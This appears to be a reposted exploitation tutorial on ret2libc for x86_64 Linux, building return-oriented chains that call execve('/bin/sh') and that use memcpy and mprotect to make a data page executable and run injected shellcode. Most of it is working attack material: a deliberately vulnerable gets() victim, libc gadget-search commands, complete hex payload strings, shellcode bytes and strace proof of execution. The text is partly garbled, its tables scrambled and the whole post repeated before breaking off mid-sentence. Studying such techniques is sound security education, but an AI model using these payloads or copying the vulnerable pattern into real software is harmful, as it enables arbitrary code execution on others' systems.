Sei sulla pagina 1di 26

RET2LIBC x86_64 EXECVE and MPROTECT + SHELLC0DE EXEC ON LINUX

Demonstrate the use of re2libc on a modern/up-to-date x86_64 Linux system for co


mmand execution and running shell code
===============================================================
With the move to x86_64 and a lot of current protection mechanisms like stack pr
otector, stack execution protection, DEP/NX protection, and ASLR, running arbitr
ary code is a lot harder than it used to be. The days of Aleph1 stack smashing a
re long gone. So, even if there has been no improvement in code quality and you
find your bugs, exploiting them has got substantially harder, just because of th
e platform you're running on.
This post looks at ret2libc ("pop pop ret") to run commands without executing sh
ell code, as well as using ret2libc to copy shell code into a memory area, defea
t DEP/NX and run it.
The machine I am running this on is a recent x86_64 desktop running a Ubuntu-bas
ed distribution.
# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 XXX 2012 x86_64 GNU/Linux
# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:
Ubuntu 10.04.3 LTS
Release:
10.04
Codename:
lucid
By default, this has stack protection on (unless explicitly instructing gcc to n
ot use it), allows no code execution on the stack, uses ASLR as well as DEP/NX.
For this purpose, we're turning off stack protection (which inserts "stack cooki
es" to ensure stack integrity) as well as ASLR, because it makes it much harder,
while not adding a lot to the explanation of concepts. Perhaps in a later post
I'll talk about these two as well.
I got a lot of info from the link below, but I never got his actual example with
a <system> call working, so this takes a slightly different approach:
1. use execve syscall through ret2libc
2. use <memcpy> libc function and mprotect syscall to execute inserted shellcode
.
Link: http://crypto.stanford.edu/~blynn/rop/
----------------------------------------------------------------For this exercise, we'll use some pretty basic C code as the victim. (you'll not
ice it is very similar to the code in the link):
-#include <stdio.h>
int main(){
char name[64];
printf("buffer address: %p\n", name); //print address of buffer
puts("Enter text for name:");
gets(name);
printf("content of buffer: %s\n", name);

return 0;
}
-This is obviously bad code. Even gcc gives a warning. Note, this is compiled wit
h the -fno-stack-protector flag. We'll leave "execstack" on, though. (you can ma
ke sure it's on with # execstack -c victim).
If not already obvious, this code is vulnerable to a stack overflow. If you prov
ide an input string larger than 64 characters, the name buffer is overflowed, an
d we overwrite the return address. That gives us control over the instruction po
inter.
To make our life a little easier, we're printing out the buffer address. This pr
oved useful in the end, since gdb adds some stack space itself, and between runn
ing in gdb and running interactively, there proved to be a 0x20 difference in bu
ffer address. (That took me a while to realize)
-----------------------------------------------------------------*******************************
1. EXECVE SYSCALL with ret2libc
*******************************
For the first exercise the plan is to simply execute /bin/sh (/bin/bash). In the
link above, the jump is to <system> function call, but that didn't work for me,
and it looks some protection is built in (it basically replaces the %rdi value
with a strange low hex value). Here, then, we set up all the registers ourselves
and jump to <execve>, which does little more than setting %rax to the right sys
call number and the syscall itself.
A quick reminder of x86_64 linux syscall convention: %rax holds the syscall and
parameters are passed in registers:
%rdi
%rsi
%rdx
%rcx
%r8
%r9

<<<<<<-

param
param
param
param
param
param

1
2
3
4
5
6

No parameters are passed (directly) on the stack (unless we reference a structur


e, which may be a pointer to space on the stack).
execve takes 3 parameters:
int execve(const char *filename, char *const argv [], char *const envp[]
);
The first parameter is the filename (/bin/sh in our case). argv should be a stru
cture (you can read the man page), but passing null here works just as well, and
we can leave envp null as well.
so, we need to achieve the following:
%rdi
%rsi

<- "/bin/sh" (note, null terminated)


<- null/0x00

%rdx

<- null/0x00

%rax will be set to 0x3b (59) when execution is directed to <execve> libc functi
on.
Disassembled victim code:
-00000000004005b4 <main>:
4005b4:
55
4005b5:
48 89 e5
4005b8:
48 83 ec
4005bc:
b8 fc 06
4005c1:
48 8d 55
4005c5:
48 89 d6
4005c8:
48 89 c7
4005cb:
b8 00 00
4005d0:
e8 bb fe
4005d5:
bf 10 07
4005da:
e8 c1 fe
4005df:
48 8d 45
4005e3:
48 89 c7
4005e6:
e8 d5 fe
4005eb:
b8 25 07
4005f0:
48 8d 55
4005f4:
48 89 d6
4005f7:
48 89 c7
4005fa:
b8 00 00
4005ff:
e8 8c fe
400604:
b8 00 00
400609:
c9
40060a:
c3
40060b:
90
40060c:
90

40
40 00
c0
00
ff
40
ff
c0

00
ff
00
ff

ff ff
40 00
c0
00 00
ff ff
00 00

push
mov
sub
mov
lea
mov
mov
mov
callq
mov
callq
lea
mov
callq
mov
lea
mov
mov
mov
callq
mov
leaveq
retq
nop
nop

%rbp
%rsp,%rbp
$0x40,%rsp
$0x4006fc,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x400710,%edi
4004a0 <puts@plt>
-0x40(%rbp),%rax
%rax,%rdi
4004c0 <gets@plt>
$0x400725,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x0,%eax

-There is a "leaveq" and a "retq".


leaveq does this:
mov %rbp, %rsp
pop %rbp
retq returns to the "calling function", pops the next address off the stack and
directs execution there.
Stack lay-out:
----------------| buffer (name) |
|
|
| 64 bytes
|
|
|
|---------------|
| saved %rbp |
|---------------|
| saved ret
|
|---------------|
| older stack |

. . .

RET2LIBC refers to jumping to instructions within libc (loaded with victim, beca
use of the inclusion of the <stdio.h> header), either code fragments, or functio
n calls (which often, but not always, are interfaces to sys calls). So, since we
cannot execute any code directly, we jump to code that _is_ executable.
Since we fully control %rip (and probably quite a bit of stack after that), we c
an send execution anywhere we want. Since we need to pass 3 parameters, we need
something for %rdi, %rsi and %rdx. And since this will need to be chained (event
ually everything needs to end up in <execve>, we will need to return, as well.
RET2LIBC is also referred to as POP POP RET. And here's why: what we'll do is fi
nd code that does:
pop %rdi
retq
pop %rsi
retq
pop %rdx
retq
<execve>
These individual 'pop-rets' are usually referred to as "gadgets". They will allo
w us to jump around the code. So, we need to find memory addresses to give us th
is.
This is where the article linked above was very useful. We can grep through libc
for retq, but that's a lot of stuff to go through. If we know what the actual h
ex opcodes are, we can look for them directly. To make this easy, I wrote a real
quick bit of assembly that pushed some stuff to the stack, then pops rdi, rsi,
rex, dcx, r9 and r8.
600084:
600085:
600086:
600087:
600088:
60008a:

5f
5e
5a
59
41 59
41 58

pop
pop
pop
pop
pop
pop

%rdi
%rsi
%rdx
%rcx
%r9
%r8

Nicely, all the main register "pops" are just a single byte.
We can now look for "pop %rdi - retq" by bytes:
# locate libc.so
/lib/libc.so.6
/lib32/libc.so.6
/opt/AutoScan/usr/lib/libc.so
/opt/AutoScan/usr/lib/libc.so.6
/usr/lib/libc.so
# xxd -c1 -p /lib/libc.so.6 | grep -n -B1 c3 | grep 5f | awk '{printf"%x\n",$1-1
}'
2028b
22a3e
233fa
23a77
248cf
254b9
25d54

261f1
2675e
27047
277e4
27b71
280f8
28761
290cd
...
Note: when doing this on your own machine, results will be different. If followi
ng along, follow the logic, don't just copy/paste commands.
This basically gives us a sequence of offset addresses since the beginning of li
bc with byte sequences matching 5f c3 (retq).
We can get the address in memory of libc by running victim and grepping proc/$pi
d/maps in a different shell window:
(Note, in another shell run: setarch `arch` -R ./victim
isables ASLR)

-- setarch `arch` -R d

# ps -ef | grep victim


root
28258 28233 0 13:21 pts/3
00:00:00 ./victim
root
28262 26527 0 13:21 pts/1
00:00:00 grep --color=auto victim
# grep libc /proc/28258/maps
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
/lib/li
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
/lib/li
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
/lib/li
bc-2.11.1.so
7ffff7dd7000-7ffff7dd8000 rw-p 00180000 08:05 46534885
/lib/li
bc-2.11.1.so
So, libc (executable) lives at 0x00007ffff7a57000
pick one of the offsets above, and simply add it to the libc address, and we hav
e our first gadget!
We do exactly the same for pop %rsi and pop %rdx. Finally, we need to find the o
ffset for the <execve> function:
# nm -D /lib/libc.so.6 | grep '\<execve\>'
00000000000acf80 W execve
We do the same as before, we just add this to the libc base address:
# printf %016x $((0x7ffff7a57000+0xacf80)) | tac -rs..
803fb0f7ff7f0000
(note, we need this in reverse order)
The same printf command is also used to calculate the addresses for our pop-ret
gadgets.
We place /bin/sh at the beginning of our buffer, and place the addresses and the
ir values appropriately, which results in the following input string:

2f62696e2f7368000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f0000
d0e5ffffff7f0000187baaf7ff7f00000000000000000000928ba5f7ff7f00000000000000000000
803fb0f7ff7f0000
I then turn this to binary with xxd -r -p and feed it into victim:
This results in the following stack:
----------------------|
/bin/sh + 00s
|
|
|
|
64 bytes
|
|
|
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7a58b92 |
|---------------------|
| 0x0000000000000000 |
|---------------------|
| 0x00007ffff7b03f80 |
|
. . .
|

<-- buffer address, will be %rbp


<-- libc: pop %rdi-ret
<-- buffer address: val of %rdi
<-- libc: pop %rsi-ret
<-- null: val of %rsi
<-- libc: pop %rdx-ret
<-- null: val of %rdx
<-- libc: <execve>

So, does this work? It does, but with some caveats. The thing that really messed
with my head was that it would work in gdb, but then wouldn't work outside of i
t. Once I realized that gdb added 0x20 to the stack itself, between running inte
ractive and through gdb I had to adjust offsets. The second thing is that while
it runs, you don't actually get the shell you expect, you just get back to the c
ommand prompt. Not that that's a terrible thing here, all we're trying to do her
e is prove that we can do this, and the code is somewhat irrelevant. Running str
ace, we can see that we indeed executed /bin/bash, though:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
0\0\0"..., 4096) = 128
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:
/bin/sh
) = 27
[
7ffff7b03f87] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000

[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f

ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0

Very good! It does actually work. (you can see the write back to stdout with the
buffer contents, followed by the execve syscall)
IMPORTANT: In x86_64, we're passing 8 byte addresses and cannot shorten it. ALL
MEMORY ADDRESSES HAVE AT LEAST TWO NULL BYTES. Therefore, let's forget about nul
l-free input
-------------------------------------------********************************
2. RET2LIBC MPROTECT + SHELLCODE
********************************
Now, this is nice, but what I _really_ like is run my own shell code of choice.
We can endlessly chain pop-ret if we want to, but at 8 bytes for each instructio
n/gadget, that quickly gets quite large. If we can use ret2libc just for a first
stage and then get some code executed, we can do a lot more.
So far we've "defeated" NX by simply never attempting to run any inserted code.
We'll _actually_ have to defeat it if we want to run arbitrary code.
To test shell code, I typically use this bit of C:
-int main(int argc, char **argv) {
void *ptr = mmap(0, sizeof(shellcode),
PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {

perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;
sc();
return 0;
}
-So, we should be able to do a similar thing as above and chain gadgets to mmap a
n area, memcpy the shell code into it, and direct execution there.
One problem (And this took a while to figure out) mmap takes 6 parameters:
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t
offset);
This wouldn't be a problem if it were easy to find pop %r8 and pop %r9 near a re
t, or something equivalent, but multiple searches through libc with either grep
or xxd showed this was a dead end. 41-59-c3 and 41-58-c3 simply don't exist in (
my) libc, and grepping objdump doesn't give us anything useful. So, we need a di
fferent plan.
Rather than mmapping a location directly to PROT_EXEC | PROT_WRITE | PROT_READ a
nd then copying, we can copy first to a data section, and then run mprotect to c
hange the permissions.
void *memcpy(void *dest, void *src, size_t count);
int mprotect(const void *addr, size_t len, int prot);
We need to find an area to copy to. With readelf we can find relevant sections:
0
0
0
7
0
0
0
0
0

[19]
0
[20]
0
[21]
0
[22]
0
[23]
0
[24]
0
[25]
0
[26]
0
[27]
0

.ctors
8
.dtors
8
.jcr
8
.dynamic
8
.got
8
.got.plt
8
.data
8
.bss
8
.comment
1

PROGBITS

0000000000600e18 000e18 000010 00 WA

PROGBITS

0000000000600e28 000e28 000010 00 WA

PROGBITS

0000000000600e38 000e38 000008 00 WA

DYNAMIC

0000000000600e40 000e40 0001a0 10 WA

PROGBITS

0000000000600fe0 000fe0 000008 08 WA

PROGBITS

0000000000600fe8 000fe8 000038 08 WA

PROGBITS

0000000000601020 001020 000010 00 WA

NOBITS

0000000000601030 001030 000010 00 WA

PROGBITS

0000000000000000 001030 000025 01 MS

I decided to pick 0x601040. So, this is where we will write the shellcode. This
is a rw- memory area (W=write; A=access), so writing shouldn't be a problem. The

n, with mprotect we will set it to executable. For mprotect, I found out the har
d way that this works on a whole page, and once I realized what that actually me
ant 0x601000 will be the address we pass to mprotect. That will then also apply
to the .data and .bss sections.
---------------------------------PROT_EXEC | PROT_WRITE | PROT_READ
This works just like rwx on the file system, so 7 = rwx, 5 = r-x, 6 = rw-, etc.
I tried both 7 and 5, and both worked on my system. Some implementations apparen
tly check whether W is set as well as X and don't allow that, so 5 is the cleane
r option, unless your shell code needs to write further data, of course (but you
could use the stack for that as well).
---------------------------------Both memcpy and mprotect are three parameter functions, so we can reuse our prev
iously found gadgets. (Though pop %rdx just happens to be another one)
OK, some shellcode. This essentially does the same thing as we did before: run a
n execve to /bin/sh. Again, I'll just use null, null for the argv and envy param
s.
-[bits 64]
global _start
section .data
command db "/bin/sh", 0x00
; 8 chars
_start:
xor
xor
xor
xor

eax,
esi,
edi,
edx,

eax
esi
edi
edx

popshell:
mov al,0x3b
lea rdi, [rel command]
syscall
call _start
exit:
xor eax, eax
mov al, 60
xor edi, edi
syscall
nop
nop
nop
nop
nop
-/bin/sh is loaded from a [rel command] so the address is relative (and negative,
so no nulls, even though that doesn't matter here). The exit syscall here is re
dundant because it is never reached. The call was with the idea that if an error

occurred it would be able to recover by looping back up, but that isn't actuall
y how execve works, so could also be cut.
0000000000600078 <command>:
600078:
2f
600079:
62
60007a:
69 6e 2f 73 68 00 31

(bad)
(bad)
imul $0x31006873,0x2f(%rsi),%ebp

0000000000600080 <_start>:
600080:
31 c0
600082:
31 f6
600084:
31 ff
600086:
31 d2

xor
xor
xor
xor

%eax,%eax
%esi,%esi
%edi,%edi
%edx,%edx

mov
lea

$0x3b,%al
-0x19(%rip),%rdi

0000000000600088 <popshell>:
600088:
b0 3b
60008a:
48 8d 3d e7 ff ff ff
<command>
600091:
0f 05
600093:
e8 e8 ff ff ff
0000000000600098 <exit>:
600098:
31 c0
60009a:
b0 3c
60009c:
31 ff
60009e:
0f 05
6000a0:
90
6000a1:
90
6000a2:
90
6000a3:
90
6000a4:
90

# 600078

syscall
callq 600080 <_start>
xor
%eax,%eax
mov
$0x3c,%al
xor
%edi,%edi
syscall
nop
nop
nop
nop
nop

Without the nops, that is 40 characters. We should have 64 chars at least for si
ze, and +16 if we don't care about the stack base pointer. The effective code he
re is 26 bytes (without the call and exit), so 64 would allow us quite a few mor
e actions, especially if we do standard de-nulling.
The bytes under <command> stand for /bin/sh, 0x00. Because of the null byte, the
rest of the shell code will not be echoed to the screen when victim prints the
buffer. You can also see that command is 0x19 back from %rip when its address is
loaded.
For our pop-ret chain, we do have to remember to jump to <_start> at <command>+0
x08 to jump into executable code, rather than the top of our base address. (If y
ou don't, you start executing the /bin/sh bytes 2f, 62, etc. which give you an b
ad instruction error)
xxd -s0x78 -l40 -p the compiled code to generate the shell code. This will go at
the start of our input string.
2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
This is what the stack will look right after the get function in victim:
----------------------| 2f62696e2f73680031..| <-- /bin/sh, 0x00 + executable shellcode
|
|
|
64 bytes
|
|(filled up with 0x00)|
|---------------------|

| 0x00007fffffffe5d0 | <-- %rbp (upon leave)


|---------------------|
| 0x00007ffff7a7b8cf | <-- libc: pop %rdi-ret
|---------------------|
| 0x0000000000601040 | <-- start of mem to write to (dest): val of %rd
i
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x00007fffffffe5d0 |
|---------------------|
| 0x00007ffff7aa32d2 |
|---------------------|
| 0x0000000000000028 |
|---------------------|
| 0x00007ffff7adf290 |
|---------------------|
| 0x00007ffff7a7b8cf |
|---------------------|
| 0x0000000000601000 |
|---------------------|
| 0x00007ffff7aa7b18 |
|---------------------|
| 0x0000000000001000 |
|---------------------|
| 0x00007ffff7aa32d2 |
|---------------------|
| 0x0000000000000005 |
|---------------------|
| 0x00007ffff7b3c570 |
|---------------------|
| 0x0000000000601048 |
|---------------------|
| 0xacabacabacabacab |
|---------------------|
|
|
|
. . .
|

<-- libc: pop %rsi-ret


<-- buffer to copy from (src): val of $rsi
<-- libc: pop %rdx-ret
<-- length to copy: 40 (0x28): val of %rdx
<-- libc: <memcpy>
<-- libc: pop %rdi-ret
<-- top of page to mprotect: val of %rdi
<-- libc: pop %rsi-ret
<-- page size: val of %rsi
<-- libc: pop %rdx-ret
<-- r-x: val of %rdx
<-- libc: <mprotect>
<-- direct to executable shell code (+0x08)
<-- marker/signature

Full hex input string:


2f62696e2f73680031c031f631ff31d2b03b488d3de7ffffff0f05e8e8ffffff31c0b03c31ff0f05
000000000000000000000000000000000000000000000000d0e5ffffff7f0000cfb8a7f7ff7f0000
4010600000000000187baaf7ff7f0000d0e5ffffff7f0000d232aaf7ff7f00002800000000000000
90f2adf7ff7f0000cfb8a7f7ff7f00000010600000000000187baaf7ff7f00000010000000000000
d232aaf7ff7f0000050000000000000070c5b3f7ff7f00004810600000000000abacabacabacabac
I save this in a file called mprot.ascii, and then convert to binary:
# xxd -r -p mprot.ascii mprot
I then run the exploit by cat'ing the file into the victim program.
-# cat mprot | setarch `arch` -R ./victim
buffer address: 0x7fffffffe5d0
Enter text for name:
content of buffer: /bin/sh
#

-Again, we don't actually get a shell, but we can check with strace again whether
/bin/bash is actually started. And it is. Also note the call to mprotect(0x6010
00, 4096, PROT_READ|PROT_EXEC) = 0 right before /bin/sh is executed:
[
7ffff7b3c51a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYM
OUS, -1, 0) = 0x7ffff7ff7000
[
7ffff7b31f90] read(0, "/bin/sh\0001\3001\3661\3771\322\260;H\215=\347\377\3
77\377\17\5\350\350\377\377\377"..., 4096) = 200
[
7ffff7b31f90] read(0, "", 4096)
= 0
[
7ffff7b31ff0] write(1, "content of buffer: /bin/sh\n", 27content of buffer:
/bin/sh
) = 27
[
7ffff7b3c577] mprotect(0x601000, 4096, PROT_READ|PROT_EXEC) = 0
[
60105b] execve("/bin/sh", [0], [0]) = 0
[
7ffff7df3fca] brk(0)
= 0x6ea000

[
7ffff76ea325] stat("/usr/local/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No
such file or directory)
[
7ffff76ea325] stat("/usr/local/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No s
uch file or directory)
[
7ffff76ea325] stat("/usr/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such f
ile or directory)
[
7ffff76ea325] stat("/usr/bin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such fi
le or directory)
[
7ffff76ea325] stat("/sbin/bash", 0x7fffffffe9b0) = -1 ENOENT (No such file
or directory)
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0
[
7ffff76bdad7] geteuid()
= 0
[
7ffff76bdaf7] getegid()
= 0
[
7ffff76bdac7] getuid()
= 0
[
7ffff76bdae7] getgid()
= 0
[
7ffff76eb047] access("/bin/bash", X_OK) = 0
[
7ffff76ea325] stat("/bin/bash", {st_dev=makedev(8, 5), st_ino=262149, st_mo
de=S_IFREG|0755, st_nlink=1, st_uid=0, st_gid=0, st_blksize=4096, st_blocks=1832
, st_size=934336, st_atime=2013/03/03-13:17:02, st_mtime=2010/04/18-19:16:01, st
_ctime=2012/05/28-17:30:45}) = 0

/bin/bash executed.
So, we know that the shell code was executed, but we can also check what happene
d to our data page. Before we checked /proc/$pid/maps to check the in-memory loc
ation of libc, we can do the same to get everything:
Before (at program start):
# cat /proc/24034/maps

00400000-00401000 r-xp 00000000 08:05 9699676


xx/victim
00600000-00601000 r--p 00000000 08:05 9699676
xx/victim
00601000-00602000 rw-p 00001000 08:05 9699676
xx/victim
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
bc-2.11.1.so

/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li

After (at 0x601048):


# cat /proc/24034/maps
00400000-00401000 r-xp 00000000 08:05 9699676
xx/victim
00600000-00601000 r--p 00000000 08:05 9699676
xx/victim
00601000-00602000 r-xp 00001000 08:05 9699676
xx/victim
7ffff7a57000-7ffff7bd4000 r-xp 00000000 08:05 46534885
bc-2.11.1.so
7ffff7bd4000-7ffff7dd3000 ---p 0017d000 08:05 46534885
bc-2.11.1.so
7ffff7dd3000-7ffff7dd7000 r--p 0017c000 08:05 46534885
bc-2.11.1.so

/xx/xx/
/xx/xx/
/xx/xx/
/lib/li
/lib/li
/lib/li

00400000-00401000 is the code section


00600000-00601000 program stuff: .ctors, .dtors, .got, .got.plt, etc.
00601000-00602000 data section
i.e.:
Before: 00601000-00602000 rw-p 00001000 08:05 9699676
/xx/xx/xx/victim
After: 00601000-00602000 r-xp 00001000 08:05 9699676
/xx/xx/xx/victim
=====================================================
This proves the ret2libc/poppopret concept. In order to make all of this rea
lly useful, we'll also have to deal with stack protection and ASLR. Perhaps anot
her time ;)
RET2LIBC x86_64 EXECVE and MPROTECT + SHELLC0DE EXEC ON LINUX
Demonstrate the use of re2libc on a modern/up-to-date x86_64 Linux system for co
mmand execution and running shell code
===============================================================
With the move to x86_64 and a lot of current protection mechanisms like stack pr
otector, stack execution protection, DEP/NX protection, and ASLR, running arbitr
ary code is a lot harder than it used to be. The days of Aleph1 stack smashing a
re long gone. So, even if there has been no improvement in code quality and you
find your bugs, exploiting them has got substantially harder, just because of th
e platform you're running on.

This post looks at ret2libc ("pop pop ret") to run commands without executing sh
ell code, as well as using ret2libc to copy shell code into a memory area, defea
t DEP/NX and run it.
The machine I am running this on is a recent x86_64 desktop running a Ubuntu-bas
ed distribution.
# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 XXX 2012 x86_64 GNU/Linux
# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:
Ubuntu 10.04.3 LTS
Release:
10.04
Codename:
lucid
By default, this has stack protection on (unless explicitly instructing gcc to n
ot use it), allows no code execution on the stack, uses ASLR as well as DEP/NX.
For this purpose, we're turning off stack protection (which inserts "stack cooki
es" to ensure stack integrity) as well as ASLR, because it makes it much harder,
while not adding a lot to the explanation of concepts. Perhaps in a later post
I'll talk about these two as well.
I got a lot of info from the link below, but I never got his actual example with
a <system> call working, so this takes a slightly different approach:
1. use execve syscall through ret2libc
2. use <memcpy> libc function and mprotect syscall to execute inserted shellcode
.
Link: http://crypto.stanford.edu/~blynn/rop/
----------------------------------------------------------------For this exercise, we'll use some pretty basic C code as the victim. (you'll not
ice it is very similar to the code in the link):
-#include <stdio.h>
int main(){
char name[64];
printf("buffer address: %p\n", name); //print address of buffer
puts("Enter text for name:");
gets(name);
printf("content of buffer: %s\n", name);
return 0;
}
-This is obviously bad code. Even gcc gives a warning. Note, this is compiled wit
h the -fno-stack-protector flag. We'll leave "execstack" on, though. (you can ma
ke sure it's on with # execstack -c victim).
If not already obvious, this code is vulnerable to a stack overflow. If you prov
ide an input string larger than 64 characters, the name buffer is overflowed, an
d we overwrite the return address. That gives us control over the instruction po
inter.

To make our life a little easier, we're printing out the buffer address. This pr
oved useful in the end, since gdb adds some stack space itself, and between runn
ing in gdb and running interactively, there proved to be a 0x20 difference in bu
ffer address. (That took me a while to realize)
-----------------------------------------------------------------*******************************
1. EXECVE SYSCALL with ret2libc
*******************************
For the first exercise the plan is to simply execute /bin/sh (/bin/bash). In the
link above, the jump is to <system> function call, but that didn't work for me,
and it looks some protection is built in (it basically replaces the %rdi value
with a strange low hex value). Here, then, we set up all the registers ourselves
and jump to <execve>, which does little more than setting %rax to the right sys
call number and the syscall itself.
A quick reminder of x86_64 linux syscall convention: %rax holds the syscall and
parameters are passed in registers:
%rdi
%rsi
%rdx
%rcx
%r8
%r9

<<<<<<-

param
param
param
param
param
param

1
2
3
4
5
6

No parameters are passed (directly) on the stack (unless we reference a structur


e, which may be a pointer to space on the stack).
execve takes 3 parameters:
int execve(const char *filename, char *const argv [], char *const envp[]
);
The first parameter is the filename (/bin/sh in our case). argv should be a stru
cture (you can read the man page), but passing null here works just as well, and
we can leave envp null as well.
so, we need to achieve the following:
%rdi
%rsi
%rdx

<- "/bin/sh" (note, null terminated)


<- null/0x00
<- null/0x00

%rax will be set to 0x3b (59) when execution is directed to <execve> libc functi
on.
Disassembled victim code:
-00000000004005b4 <main>:
4005b4:
55
4005b5:
48 89 e5
4005b8:
48 83 ec 40

push
mov
sub

%rbp
%rsp,%rbp
$0x40,%rsp

4005bc:
4005c1:
4005c5:
4005c8:
4005cb:
4005d0:
4005d5:
4005da:
4005df:
4005e3:
4005e6:
4005eb:
4005f0:
4005f4:
4005f7:
4005fa:
4005ff:
400604:
400609:
40060a:
40060b:
40060c:

b8
48
48
48
b8
e8
bf
e8
48
48
e8
b8
48
48
48
b8
e8
b8
c9
c3
90
90

fc
8d
89
89
00
bb
10
c1
8d
89
d5
25
8d
89
89
00
8c
00

06
55
d6
c7
00
fe
07
fe
45
c7
fe
07
55
d6
c7
00
fe
00

40 00
c0
00
ff
40
ff
c0

00
ff
00
ff

ff ff
40 00
c0
00 00
ff ff
00 00

mov
lea
mov
mov
mov
callq
mov
callq
lea
mov
callq
mov
lea
mov
mov
mov
callq
mov
leaveq
retq
nop
nop

$0x4006fc,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x400710,%edi
4004a0 <puts@plt>
-0x40(%rbp),%rax
%rax,%rdi
4004c0 <gets@plt>
$0x400725,%eax
-0x40(%rbp),%rdx
%rdx,%rsi
%rax,%rdi
$0x0,%eax
400490 <printf@plt>
$0x0,%eax

-There is a "leaveq" and a "retq".


leaveq does this:
mov %rbp, %rsp
pop %rbp
retq returns to the "calling function", pops the next address off the stack and
directs execution there.
Stack lay-out:
----------------| buffer (name) |
|
|
| 64 bytes
|
|
|
|---------------|
| saved %rbp |
|---------------|
| saved ret
|
|---------------|
| older stack |
|
. . .
|
RET2LIBC refers to jumping to instructions within libc (loaded with victim, beca
use of the inclusion of the <stdio.h> header), either code fragments, or functio
n calls (which often, but not always, are interfaces to sys calls). So, since we
cannot execute any code directly, we jump to code that _is_ executable.
Since we fully control %rip (and probably quite a bit of stack after that), we c
an send execution anywhere we want. Since we need to pass 3 parameters, we need
